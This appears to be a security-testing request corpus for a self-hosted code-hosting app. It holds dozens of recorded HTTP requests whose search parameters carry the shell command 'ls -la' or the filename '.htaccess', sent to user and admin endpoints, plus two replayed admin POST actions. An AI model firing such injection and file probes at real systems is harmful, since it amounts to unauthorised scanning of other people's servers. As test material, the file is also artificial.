{"method": "GET", "target": "/explore/topics/search?q=ls%20-la", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/alice/tools", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/pulls?type=created_by&sort=recentupdate&project=ZgotmplZ&state=open&q=ls%20-la", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/pulls", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/milestones?type=&repos=%5B2%2C1%2C%5D&sort=&state=open&q=ls%20-la", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/milestones", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/issues/search?q=ls%20-la", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/issues", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/repo/search?sort=updated&order=desc&uid=1&team_id=undefined&q=ls%20-la&page=1&limit=15&mode=&archived=false", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/user/search_candidates?q=ls%20-la", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/alice/tools/settings/collaboration", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/notifications/watching?q=ls%20-la&sort=recentupdate", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/notifications/watching", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/org/acme/issues?type=your_repositories&sort=recentupdate&project=ZgotmplZ&state=open&q=ls%20-la", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/org/acme/issues", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/org/acme/pulls?type=your_repositories&sort=recentupdate&project=ZgotmplZ&state=open&q=ls%20-la", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/org/acme/pulls", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/org/acme/milestones?type=&repos=%5B2%2C%5D&sort=&state=open&q=ls%20-la", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/org/acme/milestones", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/org/acme/issues/developers?type=your_repositories&sort=recentupdate&project=ZgotmplZ&state=open&q=ls%20-la", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/org/acme/issues/developers", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/org/acme/pulls/developers?type=your_repositories&sort=recentupdate&project=ZgotmplZ&state=open&q=ls%20-la", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/org/acme/pulls/developers", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/org/acme/milestones/developers?type=&repos=%5B%5D&sort=&state=open&q=ls%20-la", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/org/acme/milestones/developers", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/org/acme/teams/-/search?q=ls%20-la", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/org/acme/teams", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/-/code?path=&q=ls%20-la&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/-/code", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/-/projects?state=open&q=ls%20-la", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/-/projects", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/-/packages/generic/tools-cli/versions?q=ls%20-la&sort=created_desc", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/-/packages/generic/tools-cli/versions", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/-/packages/npm/@alice%2Ftools-cli/versions?q=ls%20-la&sort=created_desc", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/-/packages/npm/@alice%2Ftools-cli/versions", "Accept-Encoding: gzip, deflate", "Cookie: session=e75e81138febd1bb; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/tags?q=ls%20-la", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/tags", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/milestones?state=open&q=ls%20-la", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/milestones", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/milestone/1?q=ls%20-la", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/milestone/1", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/projects?state=open&q=ls%20-la", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/projects", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/packages?q=ls%20-la&type=", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/packages", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/issues/posters?q=ls%20-la", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/alice/tools/issues", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/pulls/posters?q=ls%20-la", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/alice/tools/pulls", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/issues/search?q=ls%20-la", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/alice/tools/issues/1", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/issues/suggestions?q=ls%20-la", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/alice/tools/issues/1", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/admin/actions/runners?q=ls%20-la", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/admin/actions/runners", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/user/settings/actions/runners?q=ls%20-la", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/user/settings/actions/runners", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/org/acme/settings/actions/runners?q=ls%20-la", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/org/acme/settings/actions/runners", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/settings/actions/runners?q=ls%20-la", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/settings/actions/runners", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/admin/users?q=ls%20-la", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/admin/users", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/admin/orgs?q=ls%20-la", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/admin/orgs", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/admin/repos?q=ls%20-la&sort=recentupdate", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/admin/repos", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/admin/repos/unadopted?search=true&q=ls%20-la", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/admin/repos/unadopted", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/admin/emails?q=ls%20-la", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/admin/emails", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/admin/packages?q=ls%20-la&type=", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/admin/packages", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "POST", "target": "/admin/repos/unadopted", "headers": ["Host: example.com", "Connection: keep-alive", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Content-Length: 53", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/admin/repos/unadopted?search=true&q=ls%20-la", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": "id=alice%2Flegacy-site&action=adopt&q=ls%20-la&page=1"}
|
|
||||||
{"method": "POST", "target": "/admin/emails/activate", "headers": ["Host: example.com", "Connection: keep-alive", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Content-Length: 98", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/admin/emails?q=ls%20-la", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": "sort=email&q=ls%20-la&is_primary=&is_activated=&uid=2&email=bob%40example.com&primary=1&activate=0"}
|
|
||||||
{"method": "GET", "target": "/explore/topics/search?q=.htaccess", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/alice/tools", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/pulls?type=created_by&sort=recentupdate&project=ZgotmplZ&state=open&q=.htaccess", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/pulls", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/milestones?type=&repos=%5B2%2C1%2C%5D&sort=&state=open&q=.htaccess", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/milestones", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/issues/search?q=.htaccess", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/issues", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/repo/search?sort=updated&order=desc&uid=1&team_id=undefined&q=.htaccess&page=1&limit=15&mode=&archived=false", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/user/search_candidates?q=.htaccess", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/alice/tools/settings/collaboration", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/notifications/watching?q=.htaccess&sort=recentupdate", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/notifications/watching", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/org/acme/issues?type=your_repositories&sort=recentupdate&project=ZgotmplZ&state=open&q=.htaccess", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/org/acme/issues", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/org/acme/pulls?type=your_repositories&sort=recentupdate&project=ZgotmplZ&state=open&q=.htaccess", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/org/acme/pulls", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/org/acme/milestones?type=&repos=%5B2%2C%5D&sort=&state=open&q=.htaccess", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/org/acme/milestones", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
